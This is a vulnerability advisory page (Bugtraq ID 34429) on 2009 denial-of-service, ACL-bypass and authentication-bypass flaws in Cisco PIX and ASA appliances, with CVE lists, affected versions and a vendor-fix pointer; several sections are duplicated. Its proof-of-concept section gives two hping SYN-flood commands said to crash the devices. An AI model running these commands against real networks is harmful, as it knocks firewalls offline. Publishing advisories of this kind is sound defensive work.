Cisco PIX and ASA Multiple Denial of Service, ACL Bypass, and Authentication Bypass Vulnerabilities
BID:34429
Info
Cisco PIX and ASA Multiple Denial of Service, ACL Bypass, and Authentication Bypass Vulnerabilities
| Bugtraq ID: | 34429 |
| Class: | Unknown |
| CVE: |
CVE-2009-1155 CVE-2009-1156 CVE-2009-1157 CVE-2009-1158 CVE-2009-1159 CVE-2009-1160 |
| Remote: | Yes |
| Local: | No |
| Published: | Apr 08 2009 12:00AM |
| Updated: | Apr 13 2009 08:06PM |
| Credit: | Reported by the vendor |
| Vulnerable: |
Cisco PIX/ASA 8.1 Cisco PIX/ASA 8.0 Cisco PIX/ASA 7.2 Cisco PIX/ASA 7.1 Cisco PIX/ASA 7.0 |
| Not Vulnerable: |
Cisco PIX/ASA 8.1(2)19 Cisco PIX/ASA 8.1(2)15 Cisco PIX/ASA 8.1(2)14 Cisco PIX/ASA 8.1(2)12 Cisco PIX/ASA 8.0(4)5 Cisco PIX/ASA 8.0(4)28 Cisco PIX/ASA 8.0(4)25 Cisco PIX/ASA 8.0(4)24 Cisco PIX/ASA 8.0(4)22 Cisco PIX/ASA 7.2(4)9 Cisco PIX/ASA 7.2(4)30 Cisco PIX/ASA 7.2(4)27 Cisco PIX/ASA 7.2(4)26 Cisco PIX/ASA 7.1(2)82 Cisco PIX/ASA 7.1(2)74 Cisco PIX/ASA 7.0(8)6 Cisco PIX/ASA 7.0(8)1 |
Discussion
Cisco PIX and ASA Multiple Denial of Service, ACL Bypass, and Authentication Bypass Vulnerabilities
Cisco PIX Security Appliance and ASA 5500 Series Adaptive Security Appliance are prone to multiple denial-of-service vulnerabilities, an ACL-bypass vulnerability, and an authentication-bypass vulnerability.
Remote attackers can exploit these issues to cause an affected device to reload, to force network traffic to bypass ACL rules, or to gain unauthorized access to an affected device. Successful exploits may facilitate further attacks.
These issues are documented by the following Cisco Bug IDs:
CSCsx47543 further documents the issue tracked by CVE-2009-1155.
CSCsv52239 further documents the issue tracked by CVE-2009-1156.
CSCsy22484 further documents the issue tracked by CVE-2009-1157.
CSCsx32675 further documents the issue tracked by CVE-2009-1158.
CSCsw51809 further documents the issue tracked by CVE-2009-1159.
CSCsq91277 further documents the issue tracked by CVE-2009-1160.
Cisco PIX Security Appliance and ASA 5500 Series Adaptive Security Appliance are prone to multiple denial-of-service vulnerabilities, an ACL-bypass vulnerability, and an authentication-bypass vulnerability.
Remote attackers can exploit these issues to cause an affected device to reload, to force network traffic to bypass ACL rules, or to gain unauthorized access to an affected device. Successful exploits may facilitate further attacks.
These issues are documented by the following Cisco Bug IDs:
CSCsx47543 further documents the issue tracked by CVE-2009-1155.
CSCsv52239 further documents the issue tracked by CVE-2009-1156.
CSCsy22484 further documents the issue tracked by CVE-2009-1157.
CSCsx32675 further documents the issue tracked by CVE-2009-1158.
CSCsw51809 further documents the issue tracked by CVE-2009-1159.
CSCsq91277 further documents the issue tracked by CVE-2009-1160.
Exploit / POC
Cisco PIX and ASA Multiple Denial of Service, ACL Bypass, and Authentication Bypass Vulnerabilities
An attacker can use readily available network utilities to exploit these issues.
The following example data is sufficient to exploit the denial-of-service issue affecting PIX and ASA:
/*Utilize 1550 blocks on an ASA to trigger a crash...*/
hping --fast -p 22 -w 1518 -S -d 1480 -a 10.22.1.1 10.22.1.2
/* Trigger the vuln a bit faster */
hping --fast -p 22 -w 1518 -S -d 26201 .a 10.22.1.1 10.22.1.2
An attacker can use readily available network utilities to exploit these issues.
The following example data is sufficient to exploit the denial-of-service issue affecting PIX and ASA:
/*Utilize 1550 blocks on an ASA to trigger a crash...*/
hping --fast -p 22 -w 1518 -S -d 1480 -a 10.22.1.1 10.22.1.2
/* Trigger the vuln a bit faster */
hping --fast -p 22 -w 1518 -S -d 26201 .a 10.22.1.1 10.22.1.2
Solution / Fix
Cisco PIX and ASA Multiple Denial of Service, ACL Bypass, and Authentication Bypass Vulnerabilities
Solution:
The vendor has released updates and an advisory. Please see the referenced advisory for more information.
Solution:
The vendor has released updates and an advisory. Please see the referenced advisory for more information.
References
Cisco PIX and ASA Multiple Denial of Service, ACL Bypass, and Authentication Bypass Vulnerabilities
References:
References:
- Cisco Applied Mitigation Bulletin: Identifying and Mitigating Exploitation of th (cisco)
- Cisco Homepage (Cisco )
- Cisco Security Advisory: Multiple Vulnerabilities in Cisco ASA Adaptive Security (Cisco Systems Product Security Incident Response Team
- Cisco Security Advisory: Multiple Vulnerabilities in Cisco ASA Adaptive Security (Cisco)